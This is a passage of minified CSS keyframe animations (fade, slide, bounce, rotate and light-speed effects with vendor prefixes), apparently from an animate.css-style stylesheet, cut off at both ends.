fadeInLeftBig{0%{opacity:0;-moz-transform:translateX(-2000px)}100%{opacity:1;-moz-transform:translateX(0)}}@-o-keyframes fadeInLeftBig{0%{opacity:0;-o-transform:translateX(-2000px)}100%{opacity:1;-o-transform:translateX(0)}}@keyframes fadeInLeftBig{0%{opacity:0;transform:translateX(-2000px)}100%{opacity:1;transform:translateX(0)}}.fadeInLeftBig{-webkit-animation-name:fadeInLeftBig;-moz-animation-name:fadeInLeftBig;-o-animation-name:fadeInLeftBig;animation-name:fadeInLeftBig}@-webkit-keyframes fadeInRightBig{0%{opacity:0;-webkit-transform:translateX(2000px)}100%{opacity:1;-webkit-transform:translateX(0)}}@-moz-keyframes fadeInRightBig{0%{opacity:0;-moz-transform:translateX(2000px)}100%{opacity:1;-moz-transform:translateX(0)}}@-o-keyframes fadeInRightBig{0%{opacity:0;-o-transform:translateX(2000px)}100%{opacity:1;-o-transform:translateX(0)}}@keyframes fadeInRightBig{0%{opacity:0;transform:translateX(2000px)}100%{opacity:1;transform:translateX(0)}}.fadeInRightBig{-webkit-animation-name:fadeInRightBig;-moz-animation-name:fadeInRightBig;-o-animation-name:fadeInRightBig;animation-name:fadeInRightBig}@-webkit-keyframes fadeOut{0%{opacity:1}100%{opacity:0}}@-moz-keyframes fadeOut{0%{opacity:1}100%{opacity:0}}@-o-keyframes fadeOut{0%{opacity:1}100%{opacity:0}}@keyframes fadeOut{0%{opacity:1}100%{opacity:0}}.fadeOut{-webkit-animation-name:fadeOut;-moz-animation-name:fadeOut;-o-animation-name:fadeOut;animation-name:fadeOut}@-webkit-keyframes fadeOutUp{0%{opacity:1;-webkit-transform:translateY(0)}100%{opacity:0;-webkit-transform:translateY(-20px)}}@-moz-keyframes fadeOutUp{0%{opacity:1;-moz-transform:translateY(0)}100%{opacity:0;-moz-transform:translateY(-20px)}}@-o-keyframes fadeOutUp{0%{opacity:1;-o-transform:translateY(0)}100%{opacity:0;-o-transform:translateY(-20px)}}@keyframes fadeOutUp{0%{opacity:1;transform:translateY(0)}100%{opacity:0;transform:translateY(-20px)}}.fadeOutUp{-webkit-animation-name:fadeOutUp;-moz-animation-name:fadeOutUp;-o-animation-name:fadeOutUp;animation-name:fadeOutUp}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateY(0)}100%{opacity:0;-webkit-transform:translateY(20px)}}@-moz-keyframes fadeOutDown{0%{opacity:1;-moz-transform:translateY(0)}100%{opacity:0;-moz-transform:translateY(20px)}}@-o-keyframes fadeOutDown{0%{opacity:1;-o-transform:translateY(0)}100%{opacity:0;-o-transform:translateY(20px)}}@keyframes fadeOutDown{0%{opacity:1;transform:translateY(0)}100%{opacity:0;transform:translateY(20px)}}.fadeOutDown{-webkit-animation-name:fadeOutDown;-moz-animation-name:fadeOutDown;-o-animation-name:fadeOutDown;animation-name:fadeOutDown}@-webkit-keyframes fadeOutLeft{0%{opacity:1;-webkit-transform:translateX(0)}100%{opacity:0;-webkit-transform:translateX(-20px)}}@-moz-keyframes fadeOutLeft{0%{opacity:1;-moz-transform:translateX(0)}100%{opacity:0;-moz-transform:translateX(-20px)}}@-o-keyframes fadeOutLeft{0%{opacity:1;-o-transform:translateX(0)}100%{opacity:0;-o-transform:translateX(-20px)}}@keyframes fadeOutLeft{0%{opacity:1;transform:translateX(0)}100%{opacity:0;transform:translateX(-20px)}}.fadeOutLeft{-webkit-animation-name:fadeOutLeft;-moz-animation-name:fadeOutLeft;-o-animation-name:fadeOutLeft;animation-name:fadeOutLeft}@-webkit-keyframes fadeOutRight{0%{opacity:1;-webkit-transform:translateX(0)}100%{opacity:0;-webkit-transform:translateX(20px)}}@-moz-keyframes fadeOutRight{0%{opacity:1;-moz-transform:translateX(0)}100%{opacity:0;-moz-transform:translateX(20px)}}@-o-keyframes fadeOutRight{0%{opacity:1;-o-transform:translateX(0)}100%{opacity:0;-o-transform:translateX(20px)}}@keyframes fadeOutRight{0%{opacity:1;transform:translateX(0)}100%{opacity:0;transform:translateX(20px)}}.fadeOutRight{-webkit-animation-name:fadeOutRight;-moz-animation-name:fadeOutRight;-o-animation-name:fadeOutRight;animation-name:fadeOutRight}@-webkit-keyframes fadeOutUpBig{0%{opacity:1;-webkit-transform:translateY(0)}100%{opacity:0;-webkit-transform:translateY(-2000px)}}@-moz-keyframes fadeOutUpBig{0%{opacity:1;-moz-transform:translateY(0)}100%{opacity:0;-moz-transform:translateY(-2000px)}}@-o-keyframes fadeOutUpBig{0%{opacity:1;-o-transform:translateY(0)}100%{opacity:0;-o-transform:translateY(-2000px)}}@keyframes fadeOutUpBig{0%{opacity:1;transform:translateY(0)}100%{opacity:0;transform:translateY(-2000px)}}.fadeOutUpBig{-webkit-animation-name:fadeOutUpBig;-moz-animation-name:fadeOutUpBig;-o-animation-name:fadeOutUpBig;animation-name:fadeOutUpBig}@-webkit-keyframes fadeOutDownBig{0%{opacity:1;-webkit-transform:translateY(0)}100%{opacity:0;-webkit-transform:translateY(2000px)}}@-moz-keyframes fadeOutDownBig{0%{opacity:1;-moz-transform:translateY(0)}100%{opacity:0;-moz-transform:translateY(2000px)}}@-o-keyframes fadeOutDownBig{0%{opacity:1;-o-transform:translateY(0)}100%{opacity:0;-o-transform:translateY(2000px)}}@keyframes fadeOutDownBig{0%{opacity:1;transform:translateY(0)}100%{opacity:0;transform:translateY(2000px)}}.fadeOutDownBig{-webkit-animation-name:fadeOutDownBig;-moz-animation-name:fadeOutDownBig;-o-animation-name:fadeOutDownBig;animation-name:fadeOutDownBig}@-webkit-keyframes fadeOutLeftBig{0%{opacity:1;-webkit-transform:translateX(0)}100%{opacity:0;-webkit-transform:translateX(-2000px)}}@-moz-keyframes fadeOutLeftBig{0%{opacity:1;-moz-transform:translateX(0)}100%{opacity:0;-moz-transform:translateX(-2000px)}}@-o-keyframes fadeOutLeftBig{0%{opacity:1;-o-transform:translateX(0)}100%{opacity:0;-o-transform:translateX(-2000px)}}@keyframes fadeOutLeftBig{0%{opacity:1;transform:translateX(0)}100%{opacity:0;transform:translateX(-2000px)}}.fadeOutLeftBig{-webkit-animation-name:fadeOutLeftBig;-moz-animation-name:fadeOutLeftBig;-o-animation-name:fadeOutLeftBig;animation-name:fadeOutLeftBig}@-webkit-keyframes fadeOutRightBig{0%{opacity:1;-webkit-transform:translateX(0)}100%{opacity:0;-webkit-transform:translateX(2000px)}}@-moz-keyframes fadeOutRightBig{0%{opacity:1;-moz-transform:translateX(0)}100%{opacity:0;-moz-transform:translateX(2000px)}}@-o-keyframes fadeOutRightBig{0%{opacity:1;-o-transform:translateX(0)}100%{opacity:0;-o-transform:translateX(2000px)}}@keyframes fadeOutRightBig{0%{opacity:1;transform:translateX(0)}100%{opacity:0;transform:translateX(2000px)}}.fadeOutRightBig{-webkit-animation-name:fadeOutRightBig;-moz-animation-name:fadeOutRightBig;-o-animation-name:fadeOutRightBig;animation-name:fadeOutRightBig}@-webkit-keyframes slideInDown{0%{opacity:0;-webkit-transform:translateY(-2000px)}100%{-webkit-transform:translateY(0)}}@-moz-keyframes slideInDown{0%{opacity:0;-moz-transform:translateY(-2000px)}100%{-moz-transform:translateY(0)}}@-o-keyframes slideInDown{0%{opacity:0;-o-transform:translateY(-2000px)}100%{-o-transform:translateY(0)}}@keyframes slideInDown{0%{opacity:0;transform:translateY(-2000px)}100%{transform:translateY(0)}}.slideInDown{-webkit-animation-name:slideInDown;-moz-animation-name:slideInDown;-o-animation-name:slideInDown;animation-name:slideInDown}@-webkit-keyframes slideInLeft{0%{opacity:0;-webkit-transform:translateX(-2000px)}100%{-webkit-transform:translateX(0)}}@-moz-keyframes slideInLeft{0%{opacity:0;-moz-transform:translateX(-2000px)}100%{-moz-transform:translateX(0)}}@-o-keyframes slideInLeft{0%{opacity:0;-o-transform:translateX(-2000px)}100%{-o-transform:translateX(0)}}@keyframes slideInLeft{0%{opacity:0;transform:translateX(-2000px)}100%{transform:translateX(0)}}.slideInLeft{-webkit-animation-name:slideInLeft;-moz-animation-name:slideInLeft;-o-animation-name:slideInLeft;animation-name:slideInLeft}@-webkit-keyframes slideInRight{0%{opacity:0;-webkit-transform:translateX(2000px)}100%{-webkit-transform:translateX(0)}}@-moz-keyframes slideInRight{0%{opacity:0;-moz-transform:translateX(2000px)}100%{-moz-transform:translateX(0)}}@-o-keyframes slideInRight{0%{opacity:0;-o-transform:translateX(2000px)}100%{-o-transform:translateX(0)}}@keyframes slideInRight{0%{opacity:0;transform:translateX(2000px)}100%{transform:translateX(0)}}.slideInRight{-webkit-animation-name:slideInRight;-moz-animation-name:slideInRight;-o-animation-name:slideInRight;animation-name:slideInRight}@-webkit-keyframes slideOutUp{0%{-webkit-transform:translateY(0)}100%{opacity:0;-webkit-transform:translateY(-2000px)}}@-moz-keyframes slideOutUp{0%{-moz-transform:translateY(0)}100%{opacity:0;-moz-transform:translateY(-2000px)}}@-o-keyframes slideOutUp{0%{-o-transform:translateY(0)}100%{opacity:0;-o-transform:translateY(-2000px)}}@keyframes slideOutUp{0%{transform:translateY(0)}100%{opacity:0;transform:translateY(-2000px)}}.slideOutUp{-webkit-animation-name:slideOutUp;-moz-animation-name:slideOutUp;-o-animation-name:slideOutUp;animation-name:slideOutUp}@-webkit-keyframes slideOutLeft{0%{-webkit-transform:translateX(0)}100%{opacity:0;-webkit-transform:translateX(-2000px)}}@-moz-keyframes slideOutLeft{0%{-moz-transform:translateX(0)}100%{opacity:0;-moz-transform:translateX(-2000px)}}@-o-keyframes slideOutLeft{0%{-o-transform:translateX(0)}100%{opacity:0;-o-transform:translateX(-2000px)}}@keyframes slideOutLeft{0%{transform:translateX(0)}100%{opacity:0;transform:translateX(-2000px)}}.slideOutLeft{-webkit-animation-name:slideOutLeft;-moz-animation-name:slideOutLeft;-o-animation-name:slideOutLeft;animation-name:slideOutLeft}@-webkit-keyframes slideOutRight{0%{-webkit-transform:translateX(0)}100%{opacity:0;-webkit-transform:translateX(2000px)}}@-moz-keyframes slideOutRight{0%{-moz-transform:translateX(0)}100%{opacity:0;-moz-transform:translateX(2000px)}}@-o-keyframes slideOutRight{0%{-o-transform:translateX(0)}100%{opacity:0;-o-transform:translateX(2000px)}}@keyframes slideOutRight{0%{transform:translateX(0)}100%{opacity:0;transform:translateX(2000px)}}.slideOutRight{-webkit-animation-name:slideOutRight;-moz-animation-name:slideOutRight;-o-animation-name:slideOutRight;animation-name:slideOutRight}@-webkit-keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(0.3)}50%{opacity:1;-webkit-transform:scale(1.05)}70%{-webkit-transform:scale(0.9)}100%{-webkit-transform:scale(1)}}@-moz-keyframes bounceIn{0%{opacity:0;-moz-transform:scale(0.3)}50%{opacity:1;-moz-transform:scale(1.05)}70%{-moz-transform:scale(0.9)}100%{-moz-transform:scale(1)}}@-o-keyframes bounceIn{0%{opacity:0;-o-transform:scale(0.3)}50%{opacity:1;-o-transform:scale(1.05)}70%{-o-transform:scale(0.9)}100%{-o-transform:scale(1)}}@keyframes bounceIn{0%{opacity:0;transform:scale(0.3)}50%{opacity:1;transform:scale(1.05)}70%{transform:scale(0.9)}100%{transform:scale(1)}}.bounceIn{-webkit-animation-name:bounceIn;-moz-animation-name:bounceIn;-o-animation-name:bounceIn;animation-name:bounceIn}@-webkit-keyframes bounceInUp{0%{opacity:0;-webkit-transform:translateY(2000px)}60%{opacity:1;-webkit-transform:translateY(-30px)}80%{-webkit-transform:translateY(10px)}100%{-webkit-transform:translateY(0)}}@-moz-keyframes bounceInUp{0%{opacity:0;-moz-transform:translateY(2000px)}60%{opacity:1;-moz-transform:translateY(-30px)}80%{-moz-transform:translateY(10px)}100%{-moz-transform:translateY(0)}}@-o-keyframes bounceInUp{0%{opacity:0;-o-transform:translateY(2000px)}60%{opacity:1;-o-transform:translateY(-30px)}80%{-o-transform:translateY(10px)}100%{-o-transform:translateY(0)}}@keyframes bounceInUp{0%{opacity:0;transform:translateY(2000px)}60%{opacity:1;transform:translateY(-30px)}80%{transform:translateY(10px)}100%{transform:translateY(0)}}.bounceInUp{-webkit-animation-name:bounceInUp;-moz-animation-name:bounceInUp;-o-animation-name:bounceInUp;animation-name:bounceInUp}@-webkit-keyframes bounceInDown{0%{opacity:0;-webkit-transform:translateY(-2000px)}60%{opacity:1;-webkit-transform:translateY(30px)}80%{-webkit-transform:translateY(-10px)}100%{-webkit-transform:translateY(0)}}@-moz-keyframes bounceInDown{0%{opacity:0;-moz-transform:translateY(-2000px)}60%{opacity:1;-moz-transform:translateY(30px)}80%{-moz-transform:translateY(-10px)}100%{-moz-transform:translateY(0)}}@-o-keyframes bounceInDown{0%{opacity:0;-o-transform:translateY(-2000px)}60%{opacity:1;-o-transform:translateY(30px)}80%{-o-transform:translateY(-10px)}100%{-o-transform:translateY(0)}}@keyframes bounceInDown{0%{opacity:0;transform:translateY(-2000px)}60%{opacity:1;transform:translateY(30px)}80%{transform:translateY(-10px)}100%{transform:translateY(0)}}.bounceInDown{-webkit-animation-name:bounceInDown;-moz-animation-name:bounceInDown;-o-animation-name:bounceInDown;animation-name:bounceInDown}@-webkit-keyframes bounceInLeft{0%{opacity:0;-webkit-transform:translateX(-2000px)}60%{opacity:1;-webkit-transform:translateX(30px)}80%{-webkit-transform:translateX(-10px)}100%{-webkit-transform:translateX(0)}}@-moz-keyframes bounceInLeft{0%{opacity:0;-moz-transform:translateX(-2000px)}60%{opacity:1;-moz-transform:translateX(30px)}80%{-moz-transform:translateX(-10px)}100%{-moz-transform:translateX(0)}}@-o-keyframes bounceInLeft{0%{opacity:0;-o-transform:translateX(-2000px)}60%{opacity:1;-o-transform:translateX(30px)}80%{-o-transform:translateX(-10px)}100%{-o-transform:translateX(0)}}@keyframes bounceInLeft{0%{opacity:0;transform:translateX(-2000px)}60%{opacity:1;transform:translateX(30px)}80%{transform:translateX(-10px)}100%{transform:translateX(0)}}.bounceInLeft{-webkit-animation-name:bounceInLeft;-moz-animation-name:bounceInLeft;-o-animation-name:bounceInLeft;animation-name:bounceInLeft}@-webkit-keyframes bounceInRight{0%{opacity:0;-webkit-transform:translateX(2000px)}60%{opacity:1;-webkit-transform:translateX(-30px)}80%{-webkit-transform:translateX(10px)}100%{-webkit-transform:translateX(0)}}@-moz-keyframes bounceInRight{0%{opacity:0;-moz-transform:translateX(2000px)}60%{opacity:1;-moz-transform:translateX(-30px)}80%{-moz-transform:translateX(10px)}100%{-moz-transform:translateX(0)}}@-o-keyframes bounceInRight{0%{opacity:0;-o-transform:translateX(2000px)}60%{opacity:1;-o-transform:translateX(-30px)}80%{-o-transform:translateX(10px)}100%{-o-transform:translateX(0)}}@keyframes bounceInRight{0%{opacity:0;transform:translateX(2000px)}60%{opacity:1;transform:translateX(-30px)}80%{transform:translateX(10px)}100%{transform:translateX(0)}}.bounceInRight{-webkit-animation-name:bounceInRight;-moz-animation-name:bounceInRight;-o-animation-name:bounceInRight;animation-name:bounceInRight}@-webkit-keyframes bounceOut{0%{-webkit-transform:scale(1)}25%{-webkit-transform:scale(0.95)}50%{opacity:1;-webkit-transform:scale(1.1)}100%{opacity:0;-webkit-transform:scale(0.3)}}@-moz-keyframes bounceOut{0%{-moz-transform:scale(1)}25%{-moz-transform:scale(0.95)}50%{opacity:1;-moz-transform:scale(1.1)}100%{opacity:0;-moz-transform:scale(0.3)}}@-o-keyframes bounceOut{0%{-o-transform:scale(1)}25%{-o-transform:scale(0.95)}50%{opacity:1;-o-transform:scale(1.1)}100%{opacity:0;-o-transform:scale(0.3)}}@keyframes bounceOut{0%{transform:scale(1)}25%{transform:scale(0.95)}50%{opacity:1;transform:scale(1.1)}100%{opacity:0;transform:scale(0.3)}}.bounceOut{-webkit-animation-name:bounceOut;-moz-animation-name:bounceOut;-o-animation-name:bounceOut;animation-name:bounceOut}@-webkit-keyframes bounceOutUp{0%{-webkit-transform:translateY(0)}20%{opacity:1;-webkit-transform:translateY(20px)}100%{opacity:0;-webkit-transform:translateY(-2000px)}}@-moz-keyframes bounceOutUp{0%{-moz-transform:translateY(0)}20%{opacity:1;-moz-transform:translateY(20px)}100%{opacity:0;-moz-transform:translateY(-2000px)}}@-o-keyframes bounceOutUp{0%{-o-transform:translateY(0)}20%{opacity:1;-o-transform:translateY(20px)}100%{opacity:0;-o-transform:translateY(-2000px)}}@keyframes bounceOutUp{0%{transform:translateY(0)}20%{opacity:1;transform:translateY(20px)}100%{opacity:0;transform:translateY(-2000px)}}.bounceOutUp{-webkit-animation-name:bounceOutUp;-moz-animation-name:bounceOutUp;-o-animation-name:bounceOutUp;animation-name:bounceOutUp}@-webkit-keyframes bounceOutDown{0%{-webkit-transform:translateY(0)}20%{opacity:1;-webkit-transform:translateY(-20px)}100%{opacity:0;-webkit-transform:translateY(2000px)}}@-moz-keyframes bounceOutDown{0%{-moz-transform:translateY(0)}20%{opacity:1;-moz-transform:translateY(-20px)}100%{opacity:0;-moz-transform:translateY(2000px)}}@-o-keyframes bounceOutDown{0%{-o-transform:translateY(0)}20%{opacity:1;-o-transform:translateY(-20px)}100%{opacity:0;-o-transform:translateY(2000px)}}@keyframes bounceOutDown{0%{transform:translateY(0)}20%{opacity:1;transform:translateY(-20px)}100%{opacity:0;transform:translateY(2000px)}}.bounceOutDown{-webkit-animation-name:bounceOutDown;-moz-animation-name:bounceOutDown;-o-animation-name:bounceOutDown;animation-name:bounceOutDown}@-webkit-keyframes bounceOutLeft{0%{-webkit-transform:translateX(0)}20%{opacity:1;-webkit-transform:translateX(20px)}100%{opacity:0;-webkit-transform:translateX(-2000px)}}@-moz-keyframes bounceOutLeft{0%{-moz-transform:translateX(0)}20%{opacity:1;-moz-transform:translateX(20px)}100%{opacity:0;-moz-transform:translateX(-2000px)}}@-o-keyframes bounceOutLeft{0%{-o-transform:translateX(0)}20%{opacity:1;-o-transform:translateX(20px)}100%{opacity:0;-o-transform:translateX(-2000px)}}@keyframes bounceOutLeft{0%{transform:translateX(0)}20%{opacity:1;transform:translateX(20px)}100%{opacity:0;transform:translateX(-2000px)}}.bounceOutLeft{-webkit-animation-name:bounceOutLeft;-moz-animation-name:bounceOutLeft;-o-animation-name:bounceOutLeft;animation-name:bounceOutLeft}@-webkit-keyframes bounceOutRight{0%{-webkit-transform:translateX(0)}20%{opacity:1;-webkit-transform:translateX(-20px)}100%{opacity:0;-webkit-transform:translateX(2000px)}}@-moz-keyframes bounceOutRight{0%{-moz-transform:translateX(0)}20%{opacity:1;-moz-transform:translateX(-20px)}100%{opacity:0;-moz-transform:translateX(2000px)}}@-o-keyframes bounceOutRight{0%{-o-transform:translateX(0)}20%{opacity:1;-o-transform:translateX(-20px)}100%{opacity:0;-o-transform:translateX(2000px)}}@keyframes bounceOutRight{0%{transform:translateX(0)}20%{opacity:1;transform:translateX(-20px)}100%{opacity:0;transform:translateX(2000px)}}.bounceOutRight{-webkit-animation-name:bounceOutRight;-moz-animation-name:bounceOutRight;-o-animation-name:bounceOutRight;animation-name:bounceOutRight}@-webkit-keyframes rotateIn{0%{-webkit-transform-origin:center center;-webkit-transform:rotate(-200deg);opacity:0}100%{-webkit-transform-origin:center center;-webkit-transform:rotate(0);opacity:1}}@-moz-keyframes rotateIn{0%{-moz-transform-origin:center center;-moz-transform:rotate(-200deg);opacity:0}100%{-moz-transform-origin:center center;-moz-transform:rotate(0);opacity:1}}@-o-keyframes rotateIn{0%{-o-transform-origin:center center;-o-transform:rotate(-200deg);opacity:0}100%{-o-transform-origin:center center;-o-transform:rotate(0);opacity:1}}@keyframes rotateIn{0%{transform-origin:center center;transform:rotate(-200deg);opacity:0}100%{transform-origin:center center;transform:rotate(0);opacity:1}}.rotateIn{-webkit-animation-name:rotateIn;-moz-animation-name:rotateIn;-o-animation-name:rotateIn;animation-name:rotateIn}@-webkit-keyframes rotateInUpLeft{0%{-webkit-transform-origin:left bottom;-webkit-transform:rotate(90deg);opacity:0}100%{-webkit-transform-origin:left bottom;-webkit-transform:rotate(0);opacity:1}}@-moz-keyframes rotateInUpLeft{0%{-moz-transform-origin:left bottom;-moz-transform:rotate(90deg);opacity:0}100%{-moz-transform-origin:left bottom;-moz-transform:rotate(0);opacity:1}}@-o-keyframes rotateInUpLeft{0%{-o-transform-origin:left bottom;-o-transform:rotate(90deg);opacity:0}100%{-o-transform-origin:left bottom;-o-transform:rotate(0);opacity:1}}@keyframes rotateInUpLeft{0%{transform-origin:left bottom;transform:rotate(90deg);opacity:0}100%{transform-origin:left bottom;transform:rotate(0);opacity:1}}.rotateInUpLeft{-webkit-animation-name:rotateInUpLeft;-moz-animation-name:rotateInUpLeft;-o-animation-name:rotateInUpLeft;animation-name:rotateInUpLeft}@-webkit-keyframes rotateInDownLeft{0%{-webkit-transform-origin:left bottom;-webkit-transform:rotate(-90deg);opacity:0}100%{-webkit-transform-origin:left bottom;-webkit-transform:rotate(0);opacity:1}}@-moz-keyframes rotateInDownLeft{0%{-moz-transform-origin:left bottom;-moz-transform:rotate(-90deg);opacity:0}100%{-moz-transform-origin:left bottom;-moz-transform:rotate(0);opacity:1}}@-o-keyframes rotateInDownLeft{0%{-o-transform-origin:left bottom;-o-transform:rotate(-90deg);opacity:0}100%{-o-transform-origin:left bottom;-o-transform:rotate(0);opacity:1}}@keyframes rotateInDownLeft{0%{transform-origin:left bottom;transform:rotate(-90deg);opacity:0}100%{transform-origin:left bottom;transform:rotate(0);opacity:1}}.rotateInDownLeft{-webkit-animation-name:rotateInDownLeft;-moz-animation-name:rotateInDownLeft;-o-animation-name:rotateInDownLeft;animation-name:rotateInDownLeft}@-webkit-keyframes rotateInUpRight{0%{-webkit-transform-origin:right bottom;-webkit-transform:rotate(-90deg);opacity:0}100%{-webkit-transform-origin:right bottom;-webkit-transform:rotate(0);opacity:1}}@-moz-keyframes rotateInUpRight{0%{-moz-transform-origin:right bottom;-moz-transform:rotate(-90deg);opacity:0}100%{-moz-transform-origin:right bottom;-moz-transform:rotate(0);opacity:1}}@-o-keyframes rotateInUpRight{0%{-o-transform-origin:right bottom;-o-transform:rotate(-90deg);opacity:0}100%{-o-transform-origin:right bottom;-o-transform:rotate(0);opacity:1}}@keyframes rotateInUpRight{0%{transform-origin:right bottom;transform:rotate(-90deg);opacity:0}100%{transform-origin:right bottom;transform:rotate(0);opacity:1}}.rotateInUpRight{-webkit-animation-name:rotateInUpRight;-moz-animation-name:rotateInUpRight;-o-animation-name:rotateInUpRight;animation-name:rotateInUpRight}@-webkit-keyframes rotateInDownRight{0%{-webkit-transform-origin:right bottom;-webkit-transform:rotate(90deg);opacity:0}100%{-webkit-transform-origin:right bottom;-webkit-transform:rotate(0);opacity:1}}@-moz-keyframes rotateInDownRight{0%{-moz-transform-origin:right bottom;-moz-transform:rotate(90deg);opacity:0}100%{-moz-transform-origin:right bottom;-moz-transform:rotate(0);opacity:1}}@-o-keyframes rotateInDownRight{0%{-o-transform-origin:right bottom;-o-transform:rotate(90deg);opacity:0}100%{-o-transform-origin:right bottom;-o-transform:rotate(0);opacity:1}}@keyframes rotateInDownRight{0%{transform-origin:right bottom;transform:rotate(90deg);opacity:0}100%{transform-origin:right bottom;transform:rotate(0);opacity:1}}.rotateInDownRight{-webkit-animation-name:rotateInDownRight;-moz-animation-name:rotateInDownRight;-o-animation-name:rotateInDownRight;animation-name:rotateInDownRight}@-webkit-keyframes rotateOut{0%{-webkit-transform-origin:center center;-webkit-transform:rotate(0);opacity:1}100%{-webkit-transform-origin:center center;-webkit-transform:rotate(200deg);opacity:0}}@-moz-keyframes rotateOut{0%{-moz-transform-origin:center center;-moz-transform:rotate(0);opacity:1}100%{-moz-transform-origin:center center;-moz-transform:rotate(200deg);opacity:0}}@-o-keyframes rotateOut{0%{-o-transform-origin:center center;-o-transform:rotate(0);opacity:1}100%{-o-transform-origin:center center;-o-transform:rotate(200deg);opacity:0}}@keyframes rotateOut{0%{transform-origin:center center;transform:rotate(0);opacity:1}100%{transform-origin:center center;transform:rotate(200deg);opacity:0}}.rotateOut{-webkit-animation-name:rotateOut;-moz-animation-name:rotateOut;-o-animation-name:rotateOut;animation-name:rotateOut}@-webkit-keyframes rotateOutUpLeft{0%{-webkit-transform-origin:left bottom;-webkit-transform:rotate(0);opacity:1}100%{-webkit-transform-origin:left bottom;-webkit-transform:rotate(-90deg);opacity:0}}@-moz-keyframes rotateOutUpLeft{0%{-moz-transform-origin:left bottom;-moz-transform:rotate(0);opacity:1}100%{-moz-transform-origin:left bottom;-moz-transform:rotate(-90deg);opacity:0}}@-o-keyframes rotateOutUpLeft{0%{-o-transform-origin:left bottom;-o-transform:rotate(0);opacity:1}100%{-o-transform-origin:left bottom;-o-transform:rotate(-90deg);opacity:0}}@keyframes rotateOutUpLeft{0%{transform-origin:left bottom;transform:rotate(0);opacity:1}100%{-transform-origin:left bottom;-transform:rotate(-90deg);opacity:0}}.rotateOutUpLeft{-webkit-animation-name:rotateOutUpLeft;-moz-animation-name:rotateOutUpLeft;-o-animation-name:rotateOutUpLeft;animation-name:rotateOutUpLeft}@-webkit-keyframes rotateOutDownLeft{0%{-webkit-transform-origin:left bottom;-webkit-transform:rotate(0);opacity:1}100%{-webkit-transform-origin:left bottom;-webkit-transform:rotate(90deg);opacity:0}}@-moz-keyframes rotateOutDownLeft{0%{-moz-transform-origin:left bottom;-moz-transform:rotate(0);opacity:1}100%{-moz-transform-origin:left bottom;-moz-transform:rotate(90deg);opacity:0}}@-o-keyframes rotateOutDownLeft{0%{-o-transform-origin:left bottom;-o-transform:rotate(0);opacity:1}100%{-o-transform-origin:left bottom;-o-transform:rotate(90deg);opacity:0}}@keyframes rotateOutDownLeft{0%{transform-origin:left bottom;transform:rotate(0);opacity:1}100%{transform-origin:left bottom;transform:rotate(90deg);opacity:0}}.rotateOutDownLeft{-webkit-animation-name:rotateOutDownLeft;-moz-animation-name:rotateOutDownLeft;-o-animation-name:rotateOutDownLeft;animation-name:rotateOutDownLeft}@-webkit-keyframes rotateOutUpRight{0%{-webkit-transform-origin:right bottom;-webkit-transform:rotate(0);opacity:1}100%{-webkit-transform-origin:right bottom;-webkit-transform:rotate(90deg);opacity:0}}@-moz-keyframes rotateOutUpRight{0%{-moz-transform-origin:right bottom;-moz-transform:rotate(0);opacity:1}100%{-moz-transform-origin:right bottom;-moz-transform:rotate(90deg);opacity:0}}@-o-keyframes rotateOutUpRight{0%{-o-transform-origin:right bottom;-o-transform:rotate(0);opacity:1}100%{-o-transform-origin:right bottom;-o-transform:rotate(90deg);opacity:0}}@keyframes rotateOutUpRight{0%{transform-origin:right bottom;transform:rotate(0);opacity:1}100%{transform-origin:right bottom;transform:rotate(90deg);opacity:0}}.rotateOutUpRight{-webkit-animation-name:rotateOutUpRight;-moz-animation-name:rotateOutUpRight;-o-animation-name:rotateOutUpRight;animation-name:rotateOutUpRight}@-webkit-keyframes rotateOutDownRight{0%{-webkit-transform-origin:right bottom;-webkit-transform:rotate(0);opacity:1}100%{-webkit-transform-origin:right bottom;-webkit-transform:rotate(-90deg);opacity:0}}@-moz-keyframes rotateOutDownRight{0%{-moz-transform-origin:right bottom;-moz-transform:rotate(0);opacity:1}100%{-moz-transform-origin:right bottom;-moz-transform:rotate(-90deg);opacity:0}}@-o-keyframes rotateOutDownRight{0%{-o-transform-origin:right bottom;-o-transform:rotate(0);opacity:1}100%{-o-transform-origin:right bottom;-o-transform:rotate(-90deg);opacity:0}}@keyframes rotateOutDownRight{0%{transform-origin:right bottom;transform:rotate(0);opacity:1}100%{transform-origin:right bottom;transform:rotate(-90deg);opacity:0}}.rotateOutDownRight{-webkit-animation-name:rotateOutDownRight;-moz-animation-name:rotateOutDownRight;-o-animation-name:rotateOutDownRight;animation-name:rotateOutDownRight}@-webkit-keyframes lightSpeedIn{0%{-webkit-transform:translateX(100%) skewX(-30deg);opacity:0}60%{-webkit-transform:translateX(-20%) skewX(30deg);opacity:1}80%{-webkit-transform:translateX(0%) skewX(-15deg);opacity:1}100%{-webkit-transform:translateX(0%) skewX(0deg);opacity:1}}@-moz-keyframes lightSpeedIn{0%{-moz-transform:translateX(100%) skewX(-30deg);opacity:0}60%{-moz-transform:translateX(-20%) skewX(30deg);opacity:1}80%{-moz-transform:translateX(0%) skewX(-15deg);opacity:1}100%{-moz-transform:translateX(0%) skewX(0deg);opacity:1}}@-o-keyframes lightSpeedIn{0%{-o-transform:translateX(100%) skewX(-30deg);opacity:0}60%{-o-transform:translateX(-20%) skewX(30deg);opacity:1}80%{-o-transform:translateX(0%) skewX(-15deg);opacity:1}100%{-o-transform:translateX(0%) skewX(0deg);opacity:1}}@keyframes lightSpeedIn{0%{transform:translateX(100%) skewX(-30deg);opacity:0}60%{transform:translateX(-20%) skewX(30deg);opacity:1}80%{transform:translateX(0%) skewX(-15deg);opacity:1}100%{transform:translateX(0%) skewX(0deg);opacity:1}}.lightSpeedIn{-webkit-animation-name:lightSpeedIn;-moz-animation-name:lightSpeedIn;-o-animation-name:lightSpeedIn;animation-name:lightSpeedIn;-webkit-animation-timing-function:ease-out;-moz-animation-timing-function:ease-out;-o-animation-timing-function:ease-out;animation-timing-function:ease-out}@-webkit-keyframes lightSpeedOut{0%{-webkit-transform:translateX(0%) skewX(0deg);opacity:1}100%{-webkit-transform:translateX(100%) skewX(-30deg);opacity:0}}@-moz-keyframes lightSpeedOut{0%{-moz-transform:translateX(0%) skewX(0deg);opacity:1}100%{-moz-transform:translateX(100%) skewX(-30deg);opacity:0}}@-o-keyframes lightSpeedOut{0%{-o-transform:translateX(0%) skewX(0deg);opacity:1}100%{-o-transform:translateX(100%) skewX(-30deg);opacity:0}}@keyframes lightSpeedOut{0%{transform:translateX(0%) skewX(0deg);opacity:1}100%{transform:translateX(100%) 